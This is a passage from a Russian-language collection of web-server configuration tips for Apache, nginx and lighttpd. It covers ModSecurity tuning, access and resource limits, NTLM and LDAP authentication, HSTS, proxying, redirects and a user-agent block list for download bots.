       modsecurity_crs_30_http_policy.conf
       modsecurity_crs_35_bad_robots.conf
       modsecurity_crs_55_marketing.conf
    
    Остальные файлы нужно чуток подредактировать.
    
    modsecurity_crs_40_generic_attacks.conf
    
    Следующие секции я не нашел полезными:
    
        * Session fixation
        * Coldfusion injection
        * LDAP injection
        * HTTP Response Splitting
    
    modsecurity_crs_45_trojans.conf - тут все впорядке
    
    modsecurity_crs_50_outbound.conf - правила для исходящей информации. 
    Я бы здесь оставил только SQL Errors leakage
    
     
    ----* Особенности работы длительно выполняющихся PHP скриптов в Apache (доп. ссылка 1)   Автор: mysqlperformanceblog.com  [комментарии]
     Рассмотрим поведение Apache при принудительном закрытии клиентом окна браузера, в котором отображался вывод еще не завершенного PHP скрипта. Например, скрипт зациклился или пользователь устал ждать конца операции.

    Особенность в том, что скрипт будет принудительно завершен, только в момент физического вывода данных, т.е. после сброса буфера, например после отправки большого числа данных или вызова функций ob_flush() и flush(). Если вывода данных клиенту не производится или буфер вывода остается несброшенным, то скрипт так и будет выполняться до истечении времени заданного через параметр настройки PHP - max_execution_time. При этом не важно, в какое значение в конфигурации PHP установлен параметр ignore_user_abort.

    В качестве обходного пути для прерывания скриптов в течение длительного времени не производящих вывод данных, например, вследствие выполнения длительного SQL запроса, можно использовать расширение pcntl, вызывая функцию pcntl_alarm(таймаут). В отличие от max_execution_time/set_time_limit, определяющих максимальное время утилизации CPU (при выполнении запросов к SQL серверу процессорное время расходуется минимально и скрипт может оставаться висеть днями), функция pcntl_alarm оперирует секундами реального времени.

     
    ----* apache2 + mod_ntlm2 на FreeBSD (доп. ссылка 1)   Автор: Comatoz  [комментарии]
     
    Прозрачная авторизация пользователя через его доменную учетную запись
    
    Использовавшие источники
       http://www.lissyara.su/?id=1510&commented=1#comment_2138
       http://wiki.bestpractical.com/view/NtlmAuthentication
    
    В портах появился, но не собирается как надо (на 1.10.07 г.), поэтому
    
       cd /usr/ports/www/mod_ntlm2
    
    Необходимо поправить файл  mod_ntlm.c
    
       make fetch && make extract
    
    
    diff mod_ntlm2-0.1/mod_ntlm.c mod_ntlm2-0.1-fixed/mod_ntlm.c
    590c590,596
    <     apr_pool_sub_make(&sp,p,NULL);
    ---
    >     /*
    >      * apr_pool_sub_make(&sp,p,NULL);
    >      *
    >      * This function call is not longer available with apache 2.2
    >      * Try replacing it with apr_pool_create_ex()
    >      */
    >     apr_pool_create_ex(&sp,p,NULL,NULL);
    
    Теперь собираем и устанавливаем
    
       make install
    
    Пример настройки /usr/local/etc/apache22/Includes/nagios.conf
    
    ...
      ScriptAlias /nagios/cgi-bin/ /usr/local/www/nagios/cgi-bin/
      Alias /nagios/  /usr/local/www/nagios/
      Alias /nagios  /usr/local/www/nagios/
    
    <Location /nagios/cgi-bin>
        AuthType NTLM
        NTLMAuth on
        NTLMAuthoritative on
        NTLMDomain NAME_DOMAIN # ИМЯ домена
        NTLMServer dc1	# имя PDC
        NTLMBackup dc2	# имя BDC
        Require valid-user
    </Location>
    ...
    
    Если обращаться из IE - все работает, IE отдает данные авторизации любому.
    Если обращаться из Mozilla Firefox не будет работать -  FF не отдает 
    данные авторизации кому попало, сначала надо определить кому можно 
    отдавать. Для этого в FF(about:config) в параметре  network.automatic-
    ntlm-auth.trusted-uris установить имя сервера которому можно отдавать 
    данные авторизации.
    
     
    ----* Логгирование POST-запросов в apache (доп. ссылка 1)   Автор: mahoro  [комментарии]
     В некоторые моменты чувствую себя очень неуютно из-за того, что нет возможности посмотреть, что конкретно делают с моим сервером некоторые персоны. Я долго искал возможность логгировать все, в том числе и POST запросы клиентов и нашел способ - через mod_security.

    Устанавливается он элементарно apxs -cia mod_security.c (см документацию, правда, для его работы в наиболее удобном, "Concurrent", режиме логгирования, нужен модуль unique_id. После установи модуля следует добавить следующую секцию в httpd.conf:

       <IfModule mod_security.c>
           SecAuditEngine On
    
       # У mod_security есть два механизма логгирования, Concurrent - более быстрый и продвинутый.
           SecAuditLogType Concurrent
    
       # Здесь будет храниться индекс - файл, по структуре похожий на    access_log + идентификаторы, 
       # по которым можно найти полную информацию в StorageDir
           SecAuditLog /var/log/www/audit/index
    
       # Тут хранятся все данные запросов. Каждый запрос в отдельном файле. 
       # Запросы разнесены по каталогам (вместе все запросы одной транзакции, вместе все транзакции одного дня)
           SecAuditLogStorageDir /var/log/www/audit/data/
    
       # Наиболее полное логгирование (man)
           SecAuditLogParts ABCDEFGHZ
    
       # Добавить обработку POST данных. 
           SecFilterScanPOST On
           SecFilterEngine On
    
       # Следующие строки нужны для сохранения загруженных на сервер файлов:
           SecUploadDir /var/log/www/audit/upload
           SecUploadKeepFiles On
    
       </IfModule>
    

    Включать это имеет смысл при подозрении, что кто-то пытается использовать вашу систему не по назначению, теперь любой шаг проходимца будет записан.

    p.s. Работоспособность конфига проверялась в apache 1.3.37, mod_security 1.9.4, но работать должно и в 2.0/2.0

     
    ----* Ограничение трафика для виртуального хоста в apache (доп. ссылка 1)   [комментарии]
     Нижеприведенные настройки ограничат скорость для виртуального хоста в 1024kbps, с возможностью обслуживания не больше 10 запросов в секунду и максимумом в 30 открытых коннектов. Каждый посетитель может установить не больше трех одновременных соединений и получить данные на скорости не выше 20kb/s . Кроме того, виртуальный хост может за 4 недели израсходовать не более 100 Мб трафика, если лимит будет превышен скорость будет ограничена в 128kbps.
    
    <VirtualHost 1.2.3.4>
      ServerName www.example.com
      ServerAdmin webmaster@example.com
      DocumentRoot /var/www
      CBandLimit 100M
      CBandExceededSpeed 128 5 15
      CBandSpeed 1024 10 30
      CBandRemoteSpeed 20kb/s 3 3
      CBandScoreboard /var/www/scoreboard
      CBandPeriod 4W
    </VirtualHost>
    
    
     
    ----* Как совместить использование SuPHP и mod_php в одном apache (доп. ссылка 1)   Автор: pookey.co.uk  [обсудить]
     
    По умолчанию будет использоваться SuPHP.
    В httpd.conf:
       LoadModule suphp_module        modules/mod_suphp.so
       LoadModule php4_module         modules/libphp4.so
       AddType application/x-httpd-php .php
       AddType application/x-httpd-php-source .phps
       AddHandler x-httpd-php .php
       suPHP_Engine on
       php_admin_flag engine off
    
    Для избранных хостов активируем mod_php:
    
       <VirtualHost ..>
         suPHP_Engine off
         RemoveHandler .php
         php_admin_flag engine on
         ...
      </VirtualHost>
    
     
    ----* Авторизация в Apache2 из стандартной группы LDAP   Автор: Андрей  [обсудить]
     
    Авторизация в Apache2 из стандартной группы Ldap (objectClass=posixGroup)
    
    В .htaccess прописать параметры модуля mod_auth_ldap
       AuthType Basic
       AuthName "For Administrators only!"
       AuthLDAPURL ldap://ldap.local/dc=local
       AuthLDAPRemoteUserIsDN off
       AuthLDAPGroupAttribute memberUid
       AuthLDAPGroupAttributeIsDN off
       require group cn=admins_group,ou=group,dc=local
    
    Для поддержки протокола ldaps:// необходимо в файле
    /etc/httpd/conf.d/ldap.conf определить параметры:
       LDAPTrustedCA /etc/pki/tls/certs/ca.cert
       LDAPTrustedCAType  BASE64_FILE
    
    ca.cert это публичный сертификат которым подписан сертификат сервиса ldaps.
    
     
    ----* Как ограничить в Apache объем данных передаваемых в POST запросе. (доп. ссылка 1)   [обсудить]
     
    В .htaccess или в файле конфигурации:
      LimitRequestBody 50000
    
     
    ----* Как изменить строку идентифицирующую версию Apache и некоторые модули.   [обсудить]
     
    Директива ServerTokens устанавливает формат вывода информации в поле Server:
    ServerTokens Minimal
    #    Server: Apache/1.3.0
    ServerTokens ProductOnly
    #    Server: Apache
    ServerTokens OS
    #    Server: Apache/1.3.0 (Unix)
    ServerTokens Full
    #    Server: Apache/1.3.0 (Unix) PHP/3.0
    
     
    ----* Как ограничить число соединений от одного IP в Apache   [обсудить]
     
    Устанавливаем модуль mod_limitipconn и изменяем httpd.conf:
    ExtendedStatus On
    <Directory />
    ...
        MaxConnPerIP 10
    </Directory>
    
     
    ----* Как максимально ограничить пользовательские PHP скрипты.   [обсудить]
     
    В httpd.conf в блок конфигурации каждого виртуального хоста добавляем:
      php_admin_flag engine on
      php_admin_flag expose_php off
      php_admin_flag safe_mode on
      php_admin_flag track_vars on
      php_admin_flag allow_url_fopen  off
      php_admin_flag magic_quotes_runtime on
      php_admin_value doc_root /home/user/htdocs
      php_admin_value open_basedir /home/user/htdocs
      php_admin_value safe_mode_exec_dir /home/user/bin
      php_admin_value safe_mode_protected_env_vars  LD_LIBRARY_PATH
      php_admin_value safe_mode_allowed_env_vars PHP_
      php_admin_value upload_tmp_dir /home/user/htdocs/tmp
      php_admin_value upload_max_filesize 1024000
      php_admin_value max_execution_time 10
      php_admin_value post_max_size  1M
      php_admin_value memory_limit 8M
      php_admin_flag mysql.allow_persistent  off
      php_admin_value mysql.max_links  5
      php_admin_flag pgsql.allow_persistent  off
      php_admin_value pgsql.max_links  5
      # в php.ini disable_functions = 
    
     
    ----* Как ограничить размер памяти и CPU для CGI в Apache   [обсудить]
     
    Ограничим память в 32 Мб, процессорное время 30 сек., одновременно может быть
    запущено не более 60 пользовательских CGI скриптов.
    В <VirtualHost ...>:
    RLimitMEM   32000000 32000000
    RLimitCPU   10       30
    RLimitNPROC 60       60
    
     
    ----* Как преодолеть барьер в 256 одновременных соединений в Apache   [обсудить]
     
    Пересоберите apache изменив в httpd.h константу HARD_SERVER_LIMIT с 256
    на большее число.
    
     
    ----* Как ограничить доступ к определенному файлу.   [обсудить]
     
    Запретим доступ к .txt файлам:
    <Files ~ "\.txt">
        Order allow,deny
        Deny from all
    </Files>
    Доступа к .cgi и только с IP 1.2.3.4 через пароль, остальным нет доступа.
    <Files ~ "\.cgi">
        Order allow,deny
        Allow from 123.123.123.123
        AuthType Basic
        AuthName "ENTER PASSWORD"
        AuthUserFile /home/user/.htpasswd
        <Limit GET POST PUT>
            require valid-user
        </Limit>
        Deny from all
    </Files>
    
     
    ----* Как ограничить доступ к директории только для определенных IP   [обсудить]
     
    В .htaccess:
    order allow,deny
    allow from 10.0.0.0/24 176.1.2.3 194.67.48.0/24 
    
     
    ----* Как организовать парольный доступ к директории   [комментарии]
     
    в .htaccess:
            AuthType Basic
            AuthName "Private block"
            AuthUserFile путь к файлу с паролями
            require valid-user
    или require user user1 user2...
    Создать файл паролей: htpasswd -c .passwd user
    добавить нового пользователя: htpasswd .passwd user
    
     
    ----* Как отбить простой DDoS в nginx   Автор: Ilya  [комментарии]
     
    Все мы сталкивались с зажатым F5 и просто озверевшими ботами, уже давно не
    секрет, что мораль у данных личностей довольно слаба, а желание забить канал
    высоко, именно по этому данный сниппет в nginx может срезать львиную долю таких
    неуравновешенных личностей.
    
    Суть идеи  в следующем:
    
       map "$http_accept_encoding:$remote_addr" $ban_ban {
        "~*(.*):(1.1.1.1|2.2.2.2)"  0; #  тут перечисляем кому "можно"
        "~*(.*gzip.*|.*identity.*):(.*)"  0; # выделяем запросы с gzip в заголовке Accept-Encoding
        default        1; # ban
       }
    
       if ($ban_ban = 1) {
            return 444;
       }
    
    
    TL;DR: большинство дельцов, не обращают внимание на заголовок gzip в своих
    запросах, им важно забить серверу исходящий канал (вот и не требуют gzip) -
    мораль  в том, что легитимный пользователь/браузер ВСЕГДА посылает gzip/deflate
    в своих "ожиданиях" от сервера. Как следствие такое помогает избежать 90%
    простейших атак.
    
     

       Оптимизация и тюнинг Apache

    ----* Отдача статического web-контента через khttpd в Linux ядре (доп. ссылка 1)   Автор: David A. Bandel  [комментарии]
     
    Apache, который будет обрабатывать динамический контент, 
    должен принимать соединения на 127.0.0.1:8080.
    
    Скрипт для запуска khttpd:
    
       #!/bin/sh
       modprobe khttpd
       echo 8080 > /proc/sys/net/khttpd/clientport
       echo /home/httpd/html > /proc/sys/net/khttpd/documentroot
       echo phtml > /proc/sys/net/khttpd/dynamic
       echo inc > /proc/sys/net/khttpd/dynamic
       echo shtml > /proc/sys/net/khttpd/dynamic
       echo php3 > /proc/sys/net/khttpd/dynamic
       echo phps > /proc/sys/net/khttpd/dynamic
       echo php > /proc/sys/net/khttpd/dynamic
       echo cgi > /proc/sys/net/khttpd/dynamic
       echo pl > /proc/sys/net/khttpd/dynamic
       echo 1 > /proc/sys/net/khttpd/logging
       echo 1 > /proc/sys/net/khttpd/threads
       echo 80 > /proc/sys/net/khttpd/serverport
       echo 1 > /proc/sys/net/khttpd/start
    
     
    ----* Как уменьшить число apache httpd процессов и снизить затраты памяти. (доп. ссылка 1)   [комментарии]
     
    - В FreeBSD использование "accept filter" (нет реакции от accept() пока не
    поступят первые данные запроса):
          - ядро собираем с "options ACCEPT_FILTER_HTTP" или "options ACCEPT_FILTER_DATA" 
            или kldload accf_http/accf_data 
            или accf_data_load="YES" / accf_http_load="YES в /boot/loader.conf
          - в конфигурацию Apache добавляем "AcceptFilter on"
    
    - Значительное уменьшение величины keepalive, или вообще его запрещение (KeepAlive Off);
    
    - Использовать mod_accell или squid в режиме акселератора для кэширования.
    
     
    ----* Как заставить Apache закачать наиболее часто используемые файлы в память и отдавать клиентам из памяти, а не с диска ? (доп. ссылка 1)   [обсудить]
     
    Используйте для статических файлов mod_mmap_static:
      MMapFile файл1 файл2 ....
    
     
    ----* Каким web-сервером лучше раздавать большие объемы статического контента.   [комментарии]
     
    thttpd  - нет keep-alive, при нагрузке достаточно большие задержки между запросом и отдачей.
    mathoptd - отличная производительность, небольшие запросы к ОЗУ, загрузка CPU примерно на 30%
     выше чем при аналогичной нагрузке на сервер при использовании thttpd.
    TUX и khttpd - эксперементальный код, замечательная производительность за счет
    выноса в linux ядро процедур отдачи статики.
    
     
    ----* Web сервер перегружен, денег на апгрейд нет, как увеличить производительность с наименьшими потерями ? (доп. ссылка 1)   [обсудить]
     
    Если тяжелый апач и много соединений, контент долго генерируется, но может
    кэшироваться, или наличие большого
    процента "медленных клиентов" - то значительного прироста производительности
    можно достигнуть используя mod_accel.
    Если в CGI скриптах используются SQL запросы: оптимизация базы, оптимизация
    запросов (EXPLAIN для pgsql),
    использование индексов, частые vacuum для pgsql и прежде всего кэширование типовых запросов.
    Если просто запускается много мелких скриптов: mod_perl или fast_cgi.
    Плюс, вынесение из apache лишних модулей, отдельный web-сервер для раздачи статики и картинок.
    
     

       Редирект, mod_rewrite

    ----* Организация доступа к SSH и HTTPS через один 443 порт при помощи nginx (доп. ссылка 1)   [комментарии]
     
    В nginx 1.15.2 в модуль ngx_stream_ssl_preread была добавлена переменная
    $ssl_preread_protocol, которая определяет наибольшую версию протокола SSL/TLS,
    которую поддерживает клиент. При помощи новой переменной можно создавать
    конфигурации для доступа с использованием различных протоколов через один
    сетевой порт при проксировании трафика с использованием модулей http  и stream.
    В частности, можно разделять обработчики для трафика на базе SSL и не
    использующего SSL (например, SSH).
    
    Для организации доступа по SSH и HTTPS через один сетевой порт 443  можно по
    умолчанию пробрасывать трафик на SSH, а если определена версия  протокола
    TLSv1.2 пробрасывать на HTTPS:
    
       stream {
           upstream ssh {
               server 192.0.2.1:22;
           }
    
           upstream web {
               server 192.0.2.2:443;
           }
          
           map $ssl_preread_protocol $upstream {
               default ssh;
               "TLSv1.2" web;
           }
    
           # SSH и SSL на одном порту 
           server {
             listen 443;
             proxy_pass $upstream;
             ssl_preread on;
           }
       }
    
    По аналогии можно настроить проброс через один сетевой порт для любых других
    сочетаний SSL/не-SSL протоколов, например, "HTTP/HTTPS", "TCP DNS/DNS over TLS"
    и т.п.
    
     
    ----* Перенаправление на HTTPS при помощи HSTS в Apache, NGINX и Lighttpd (доп. ссылка 1)   [комментарии]
     
    Протокол HSTS (HTTP Strict Transport Security) позволяет администратору сайта
    указать на необходимость обращения только по HTTPS и автоматизировать проброс
    на HTTPS при изначальном обращении по ссылке на HTTP. Управление производится
    при помощи HTTP-заголовка Strict-Transport-Security, который выдаётся при
    обращении по HTTPS (при выдаче по HTTP заголовок игнорируется) и указывает
    браузеру на необходимость оставаться в зоне HTTPS даже при переходе по ссылкам
    "http://". Замена http:// на https:// будет автоматически выполняться при
    обращении к защищаемому ресурсу с внешних сайтов, а не только для внутренних ссылок.
    
    Использование в Apache:
    
    При помощи mod_headers устанавливаем для HTTPS-блока виртуального хоста
    заголовок Strict-Transport-Security (max-age - срок действия (1 год),
    includeSubdomains - распространять замену http:// на https:// для всех
    поддоменов; preload - занести в поддерживаемый браузером статический список).
    Дополнительно устанавливаем заголовок "X-Frame-Options: DENY" для запрета
    встраивания контента сайта в блоки iframe.
    
       LoadModule headers_module modules/mod_headers.so
    
       <VirtualHost 192.168.1.1:443>
          Header always set Strict-Transport-Security "max-age= 31536000; includeSubdomains; preload"
          Header always set X-Frame-Options DENY
       </VirtualHost>
    
    Для HTTP-блока хоста настраиваем редирект:
    
       <VirtualHost *:80>
         <IfModule mod_rewrite.c>
           RewriteEngine On
           RewriteCond %{HTTPS} off
           RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
         </IfModule>
        </VirtualHost>
    
    Настройка в nginx:
    
    Добавляем в блок server:
    
        add_header Strict-Transport-Security "max-age=63072000; includeSubdomains; preload";
        add_header X-Frame-Options "DENY";
    
    Настройка в Lighttpd:
     
       server.modules += ( "mod_setenv" )
       $HTTP["scheme"] == "https" {
           setenv.add-response-header  = ( "Strict-Transport-Security" => "max-age=63072000; includeSubdomains; preload",  "X-Frame-Options" => "DENY")
       }
    
     
    ----* Запуск qdPM под управлением nginx через php-fpm (доп. ссылка 1)   Автор: viking-coyote  [комментарии]
     
    Для использование системы управления проектами qdPM совместно с nginx можно
    использовать следующие настройки:
    
    
       root /путь/до/qdpm;
       location / {
                index index.php;
                allow <разрешаем коекому>;
                deny all;
    }
       
       location ~ ^(.+\\.php)(.*)$ {
                fastcgi_pass   unix:/tmp/php-fpm.socket;
                fastcgi_split_path_info       ^(.+\\.php)(.*)$;
                fastcgi_param  SCRIPT_FILENAME $document_root/index.php; 
                fastcgi_param  QUERY_STRING $query_string;
                include        fastcgi_params;
    }
    
     
    ----* Автоматическое реплицирование статики между несколькими web серверами средствами nginx   Автор: Gara  [комментарии]
     
    На нескольких серверах время от времени появляется новые файлы, при этом
    заранее не известно на каком именно сервере появится новый файл. Клиенты в
    случайном порядке попадают на все серверы.
    
    Задача сделать так, чтоб клиенту всегда отдавался новый файл, даже если его нет
    в момент запроса на сервере. Чтобы клиент не видел 404. rsync не подходит,
    точнее он может использоваться как дополнение.
    
    Предположим дано 3 физических сервера и они отдают одну и туже статику для
    одного домена stat.domain.com. Серверов может быть больше, решение легко маcштабируется.
    
    
    Введем дополнительные доменные имена для обращения к конкретному серверу:
    
       stat.front-01.domain.com
       stat.front-02.domain.com
       stat.front-03.domain.com
    
    
    Решение.
    
    Решение будем строить на NGINX, используя proxy_pass + proxy_store.
    
    Каждый сервер должен иметь 2 конфигурации с одинаковым корнем (root).
    
    Первый блок конфигурации - "тупиковый", отвечает только по дополнительному
    имени stat.front-XX.domain.com  и если нет файла отдает 404.
    
    Второй блок конфигурации - "проксирующий", обращаются клиенты по имени хоста
    stat.domain.com, и если файл не найден он будет искать на других серверах.
    
    Итого, имеем:
    
       # тупиковый
       server {
           listen 80;
           server_name stat.front-01.domain.com;
           access_log off;
           location / {
               root /opt/www/stat.domain.com/;
           }
       }
    
       # проксирующий
       # может показаться что это решение, см. дальше.
       server {
           listen 80;
           server_name stat.domain.com;
    
           access_log off;
    
           location / {
               root /opt/www/stat.domain.com/;
               try_files $uri  @front-02 @front-03;  # кроме front-01
           }
    
           location @front-02{
                   internal;
                   proxy_pass   http://stat.front-02.domain.com; # забираем из "тупиковой" конфигурации
                   proxy_set_header   Host   stat.front-02.domain.com;
                   proxy_store on;
                   proxy_store_access user:rw group:rw all:r;
                   proxy_temp_path /opt/www/tmp;
                   root            /opt/www/stat.domain.com/;
           break;
           }
    
           location @front-03{
                   internal;
                   proxy_pass         http://stat.front-03.domain.com;  # забираем из "тупиковой" конфигурации
                   proxy_set_header   Host   stat.front-03.domain.com;
                   proxy_store on;
                   proxy_store_access user:rw group:rw all:r;
                   proxy_temp_path /opt/www/tmp;
                   root            /opt/www/stat.domain.com/;
           break;
           }
       }
    
    здесь ключевым моментом является
    
       try_files $uri  @front-02 @front-03;  # кроме front-01
    
    Кажется что все ок, и будет работать красиво но вот в чем проблема:
    
    try_files в аргументах может иметь кучу файлов и только 1 URL, так что это
    конфигурация НЕ РАБОТАЕТ..
    
    Посмотрим на директиву proxy_next_upstream.
    
    Вот в итоге что получилось:
    (блок конфигурации универсальный и подходит для всех фронтов)
     
       # тупиковый
       server {
           listen 80;
           server_name stat.stat.domain.com;       #stat.front-01.domain.com - можно тоже добавить
    
           access_log off;
    
           location / {
               root /opt/www/stat.domain.com/;
           }
       }
    
       # проксирующий
       upstream  stat_backend  {
       #                server stat.front-01.domain.com ; #  себя комментируем
                   server stat.front-02.domain.com ;
                   server stat.front-03.domain.com ;
       }
    
       server {
           listen 80;
           server_name stat.domain.com;
    
           access_log off;
    
           location / {
               root /opt/www/stat.domain.com/;
               try_files $uri  @front-stat;
           }
    
           location @front-stat{
                   internal;
    
                   proxy_pass          http://stat_backend;
                   proxy_next_upstream http_404;
    
                   proxy_set_header   Host  stat.stat.domain.com;
                   proxy_store on;
                   proxy_store_access user:rw group:rw all:r;
                   proxy_temp_path /opt/www/tmp;
                   root            /opt/www/stat.domain.com;
           break;
           }
    
       }
    
     
    ----* Организация в Lighttpd переброса на страницу в зависимости от языка пользователя (доп. ссылка 1)   [обсудить]
     
    Для организации редиректа на определенную страницу с учетом выбранного в
    настройках браузера пользователя языка,  в Lighttpd можно использовать модуль
    mod_magnet, позволяющий определить логику обработки запроса через простой
    скрипт на языке Lua:
    
       lighty.env["uri.path"] = "/en/index.html"
       lang = lighty.request['Accept-Language']
       if (lang) then
               if (string.sub(lang,1,2) == 'ru') then
                       lighty.env["uri.path"] = "/ru/index.html"
               end
       end
       lighty.env["physical.rel-path"] = lighty.env["uri.path"]
       lighty.env["physical.path"] = lighty.env["physical.doc-root"] .. lighty.env["physical.rel-path"]
    
    Для подключения данного скрипта для обработки запроса стартовой страницы ("/")
    в файл конфигурации Lighttpd добавляем:
    
       $HTTP["url"] =~ "^/$" {
          magnet.attract-physical-path-to = ( "/path/to/your/script.lua" )
       }
    
    При обработке запросов mod_magnet кэширует скрипт в предкомпилированном виде и
    выполняет его в контексте http-сервера, что минимизирует дополнительную
    нагрузку на сервер.
    
    Для Apache гибкую обработку запросов на языке Lua можно реализовать при помощи модуля
    mod_lua. Но для
    переброса по языку в Apache можно обойтись обычным mod_rewrite, например так:
    
       RewriteCond %{HTTP:Accept-Language} ^ru [NC]
       RewriteRule ^$ /index_ru.html [L]
    
    Или более сложный редирект на скрипт с учетом cookie:
     
       # Если выставлена cookie lang, то используем язык из нее:
       RewriteCond %{HTTP_COOKIE} ^lang=([a-z]{2,3})[-,;]? [OR]
       # Иначе делаем редирект по первому языку, указанному в заголовке Accept-language
       RewriteCond %{HTTP:Accept-language} ^([a-z]{2,3})[-,;]?
       RewriteRule ^$ /index.php?lang=%1 [L]
    
    
      
    
     
    ----* Редирект в зависимости от домена в nginx (доп. ссылка 1)   Автор: Kirill Korinsky  [комментарии]
     
    Пример организации редиректа, в зависимости от домена, на какой-то раздел сайта.
    
    У нас есть домены, motto.ru, kids.ru, meet.ru и figvam.ru. Есть главный домен forum.ru, на котором 
    мы хотим редиректить их (в зависимости от домена будет разный форум). Наиболее
    правильный вариант этого:
    
       http {
    
         map $http_host  $forum_id{
            hostnames;
    
            default          "";
    
            .motto.ru        "11";
    
            .kids.ru         "12";
    
            .meet.ru         "13";
            .figvam.ru       "13";
         }
    
         server {
            listen 80 default;
    
            rewrite ^ http://forum.ru/?f=$forum_id;
         }
    
         server {
            listen 80;
    
            server_name  forum.ru www.forum.ru;
    
            location / {
                proxy_pass http://localhost:80/;
            }
         }
       }
    
    содержимое блока map (домен и id форума) можно вынести в отдельный файл и
    подключать его через include.
    
     
    ----* Создание SSL прокси при помощи lighttpd   Автор: Sergey Shkuratov  [комментарии]
     
    Возникла необходимость сделать на lighttpd балансирующий ssl-прокси к
    веб-серверу под управлением Apache.
    
    Другими словами, реализовать схему:
    
                   https-запрос
    	            |
    		   \|/
                     lighttpd
    		 /       \
    		/         \
    	    apache1      apache2
    
    где apache1. apache2 выбираются, исходя из доступности.
    
    Так как задача отняла чуть больше времени и сил, чем ожидалось, приведу решение
    с небольшим комментарием:
    
    Выдержка из /etc/lighttpd/lighttpd.conf:
       
       server.modules = (
       "mod_redirect",
       "mod_access",
       "mod_proxy",
       "mod_accesslog" )
    
       $SERVER["socket"] == "11.22.33.44:443" {
          ssl.engine = "enable"
          ssl.pemfile = "/etc/lighttpd/server.pem"
          proxy.balance = "fair"
          proxy.server = ( "" => (( "host" => "10.10.0.15", "port" => 80 ),
          ( "host" => "10.10.0.115",
           "port" => 80 )
          ))
       } else $HTTP["host"] == "ssl-site.ru" {
          url.redirect = (
            "^/(.*)" => "https://ssl-site.ru/$1"
          )
       }
    
    Как видим, апачи "за сценой" (на 10.10.0.15 и 10.10.0.115) работают на 80-ом порту, 
    а вся https-часть возложена на lighttpd, принимающий запрос на 443-й порт на заданном ip.
    
    Ключевым здесь является то, что https-часть определяется как $SERVER["socket"],
    а не $HTTP["host"],
    как принято в lighttpd при описании виртуальных хостов. В https, как известно, на одном ip может 
    быть только один ssl-сертификат, что и описывает приведённый кусок конфига.
    
    В описании же для http://ssl-site.ru содержится только редирект на https, и более ничего.
    
     
    ----* Пример привязки к географическому положению посетителя в nginx (доп. ссылка 1)   Автор: alexkbs  [комментарии]
     
    Для начала, следует прочитать о директивах модуля ngx_http_geo_module:
    http://sysoev.ru/nginx/docs/http/ngx_http_geo_module.html
    
    Во вторую очередь нам нужно получить список сетей в нужном формате.
    Так как мне нужно отделить только российские IP, у меня делается так:
    
       curl -f -o - http://noc.masterhost.ru/allrunet/runet \
       http://noc.zenon.net/nets/current | grep -v "0.0.0.0/0" | \
       grep -o "[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+\/[0-9]\+" | \
       sort | uniq | sed 's/$/ ru;/' > /etc/nginx/rugeo.conf; 
    
       /etc/init.d/nginx reload
    
    
    Одно из условий - пользователи из любых стран с установленной cookie ALLOWIMAGES 
    не должны подвергаться дискриминации по географическому признаку. 
    
    Соответственно составляем файл конфигурации nginx.
    
    Определяем страну (в контексте http):
    
       geo  $country  {
    	default          en;
    	include          /etc/nginx/rugeo.conf;
       }
    
    
    В блоке конфигурации интересующего нас server пишем:
    
       location = /spacer.gif {
            empty_gif;
       }
    
       location ~* \.(jpg|jpeg|gif|png)$ {
    	set  $allow_images  1;
    
    	if ($country = 'en') {
    		set  $allow_images  0;
    	}
    
    	if ($http_cookie ~* ALLOWIMAGES) {
    		set  $allow_images  1;
    	}
    
    	if ($allow_images != 1) {
    		rewrite  ^/images/.*$ /spacer.gif break;
    	}
    	
            expires         7d;
            root /home/www/htdocs;
            if (!-f $request_filename) {
                    proxy_pass        http://backend;
            }
       }
    
    
    Таким образом всем посторонним иностранцам вместо фотографий будет видна пустота, 
    а всем своим фотографии будут видны откуда бы они не заходили.
    
    
    
    Для ситуаций, когда блокировка обусловлена экономией трафика,
    http://sergeyx.livejournal.com/ в комментарии
    советует использовать бесплатную сеть доставки контента CoralCDN (http://www.coralcdn.org):
    
    Руководство по настройке: http://wiki.coralcdn.org/wiki.php?n=Main.Servers
    Например, запросив http://www.test.ru.nyud.net:8080/img/test.gif сеть CoralCDN выступит 
    в роли кэшируюшего прокси для доставки нужного файла.
    
    Пример для организации отдачи трафика через CoralCDN для посетителей с некорректным referer:
    
       location /i/ {
          ...
          # Избегаем зацикливания для запросов от CoralCDN
          if ($http_user_agent ~ CoralWebPrx) {
             break;
          }
          if ($query_string ~ coral-no-serve) {
             break;
          }
          # Перенаправляем запросы только на существующие файлы
          if (!-f $request_filename) {
             break;
          }
          # Для посетителей с некорректным referer делаем редирект в CoralCDN
          # корректность определяем через встроенную переменную nginx $invalid_referer
          # вместо SITE нужно подставить имя хоста.
          if ($invalid_referer) {
             rewrite ^(.+)$ http://SITE.nyud.net$1;
          }
          ...
       }
    
    
    Пример для Apache с mod_rewrite:
    
       RewriteEngine on
       RewriteCond %{HTTP_USER_AGENT} !^CoralWebPrx
       RewriteCond %{QUERY_STRING} !(^|&)coral-no-serve$
       RewriteRule ^/images/foo(.*)$  http://foo.bar.nyud.net:8080/images/foo$1 [R,L]
    или можно сразу подставить HTTP_HOST
       RewriteRule ^/images/foo(.*)$ http://%{HTTP_HOST}.nyud.net:8080/images/foo$1 [R,L]
    
     
    ----* Замена содержимого отдаваемых Apache2 документов, по заданной маске (доп. ссылка 1)   [комментарии]
     
    Для автоматической замены, при отдаче html страниц, одного блока на другой
    можно использовать mod_substitute (http://httpd.apache.org/docs/2.2/mod/mod_substitute.html).
    Маска замены задается в виде регулярного выражения.  
    
    Примеры:
    
       <Location /private>
           AddOutputFilterByType SUBSTITUTE text/html
           Substitute s/SECRET/XXXXX/ni
       </Location>
    
       <Location />
           AddOutputFilterByType SUBSTITUTE text/html
           Substitute s/foo/bar/ni
       </Location>
    
       <Location />
           AddOutputFilterByType SUBSTITUTE text/html
           Substitute "s|<BR */?>|<br />|i"
       </Location>
    
    Опции:
      i - совпадение без учета регистра;
      n - строчное совпадение, без использования регулярных выражений;
      f - позволяет результаты текущей замены использовать в других заменах,
          заданных в других mod_substitute правилах.
    
     
    ----* Блокирование автоматических качалок через mod_rewrite (доп. ссылка 1)   [комментарии]
     
    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
    RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
